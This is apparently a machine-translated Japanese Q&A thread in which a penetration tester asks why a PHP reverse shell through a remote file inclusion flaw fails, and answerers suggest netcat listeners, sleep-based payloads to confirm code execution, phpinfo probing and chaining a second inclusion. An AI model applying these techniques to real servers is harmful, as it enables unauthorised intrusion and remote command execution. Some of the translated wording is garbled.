ペンテストで、RFIを見つけました。エンドポイントは次のようになっています。
https://xxx.com/file.php?page={localhost/evilcode.txt}
ポート80が開いていません。 22,443は開いているポートのみ
今、私は php reverse Shell を使用して、ポート80に接続し直しています。ここで、netcatリスナーを実行しています。
上記のURL(ペイロード付き)にアクセスすると、次のようになります。
listening on [any] 80 ...
connect to [localhost] from (UNKNOWN) [$target_machine] 48731
GET /evilcode.php.txt HTTP/1.0
Host: $localhost
セッションはしばらく確立されましたが、コマンドを実行できません。私が間違っていることは何か考えていますか?
つまり、問題は次のとおりです。私はApache
でlocalhost
を実行してエクスプロイトをホストし、自分にバック接続しようとしていました。 (私は一度自分を砲撃した後、これに気付きました。)
その後、別のマシンで(@Michaelによるコメントのおかげで)ワンライナーのリバースシェルをホストし、ターゲットマシンでシェルを生成しました。
単純なPHPファイルを、出力を必要としないが、実行されたかどうかを判断できるコマンドで送信します。
RFIを2回実行し、netcatから送信します。
_<?php /* do nothing */ ?>
_
そして
_<?php sleep(10); ?>
_
2番目のコマンドで、最初の試行よりも10秒長い時間でWebサイトがページを返す場合、RFIは潜在的に機能しています。それができることはまだ見られないままです。
2つのコマンドが同時に戻る場合、追加の10秒の休止はありません。PHPコードは明らかに実行されていませんなので、リバースシェルを送信しますほとんど意味がありません。
次のステップは、ターゲットページでそれ自体をshowしようとする何かを送信することを含みます。
_ob_end_clean();
print "OK";
die();
_
働くことができました。また、調査しているシステムを確認してください(例:Ubuntu 12.04-LTS)。これにより、何に注意を払うべきかがわかります。 AppArmor、SELinux、または特別な権限。 phpinfo()
を取得しようとすると、たとえば、一部の機能が無効になっているかどうかを確認できます。
あなたはそれから完全な逆シェルまで上向きに働きます。途中で、リバースシェルが機能しない理由をおそらく発見するでしょう。ある程度の経験があれば、それを再度機能させたり、何かを展開したり、実際の脆弱性はないと結論付けることができるはずです。
検討する価値のある1つの可能性は、最初に攻撃されたスクリプトがアクセス可能な(そして悪用可能な)場所にあるディスクにファイルを書き込むことができる場合、RFIを使用してより悪用しやすい2番目のRFIを作成することです。
「evilcode.txt」を含め、スクリプトが「evilcode.php.txt」を要求したことに注意してください。これは単純な追加ではありません( 'evilcode.txt.php'でした)。
発生しているように見えるのは、ページがファイルのベース名を取得し、「。php.txt」を追加することです。これは、作業中の計画を示しているようです。これは.phpではなく、.txtではありません-作成者がPHPとしてマークしたいかのように.php.txtですが、同時にnotPHP。
単純な拡張機能で読みすぎている可能性があります。しかし、RFIがリモートファイルのインクルードでありながら、すぐにコードを実行せず、実際には次のようなことを行う可能性もあります。
_// Load page from URL request
$code = file_get_contents($_GET['page']);
if (0 !== strpos($code, '<?php//SQUEAMISH OSSIFRAGE')) {
// This is not our code! DANGER WILL ROBINSON!
mailAdministratorAndRecordBreakinAttempt();
} else {
// The code contains the secret Word. It's legit.
$result = eval($code);
}
_
上記はseemが悪用可能なRFIであると思われますが、秘密のWordを知らない限り、それは単に機能しません。一方、実際のローカル名がどのように取得されるかがわかったので、リモートページの1つを読むことでそれを取得できる場合があります。
これは、これらのページがIPブロックされていないことを望んでおり、他のどこからでもページをリクエストできますが、サーバーアドレスではアラートがトリガーされません。
私は以前にこれを行いましたが、リバースシェルスクリプトに一時停止を挿入してから、ホストに戻り、Apache2をすぐに強制終了しました。これにより、リモートマシンがevil.phpなどのドキュメントを取得し、ポート80でApache2を強制終了するために3、5、または任意の秒数が与えられます。